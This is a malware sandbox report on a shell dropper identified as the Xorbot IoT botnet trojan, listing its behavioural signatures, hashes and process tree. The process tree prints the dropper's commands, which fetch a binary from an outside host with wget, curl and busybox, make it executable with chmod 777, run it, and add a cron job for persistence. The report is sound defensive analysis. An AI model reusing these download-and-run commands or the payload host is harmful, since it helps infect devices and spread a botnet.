Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28/01/2025, 22:27

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250128-2c3s6atjas
  • SHA256 bd4b4ddf571ea6e9b855ba2f31156d69c0ceffa8f05ed10becdfac28287e4667
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2106) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:669
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:671
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/G0RJKIMiXZfAvOOCWKIvRumQwJozf23pag
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:674
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/G0RJKIMiXZfAvOOCWKIvRumQwJozf23pag
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:698
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/G0RJKIMiXZfAvOOCWKIvRumQwJozf23pag
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:745
      • /bin/chmod
        chmod 777 G0RJKIMiXZfAvOOCWKIvRumQwJozf23pag
        2⤵
        • File and Directory Permissions Modification
        PID:754
      • /tmp/G0RJKIMiXZfAvOOCWKIvRumQwJozf23pag
        ./G0RJKIMiXZfAvOOCWKIvRumQwJozf23pag
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:755
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:757
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:758
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:760
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:762
            • /bin/rm
              rm G0RJKIMiXZfAvOOCWKIvRumQwJozf23pag
              2⤵
                PID:780
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/juzmqD0o4IeLIQhcKsEBLzYzL09VNEmERB
                2⤵
                • System Network Configuration Discovery
                PID:783

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  G0RJKIMiXZfAvOOCWKIvRumQwJozf23pag
                  • Path /tmp/G0RJKIMiXZfAvOOCWKIvRumQwJozf23pag
                  • Size 119KB
                  • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                  • MD5 SHA1 SHA512 SSDEEP
                  Submit Download

                  tmp.arDP8E
                  • Path /var/spool/cron/crontabs/tmp.arDP8E
                  • Size 210B
                  • SHA256 23846628517b1249f9480ab789417a1ed82cac1630a09c550977ae02da4fa894
                  • MD5 SHA1 SHA512
                  Submit Download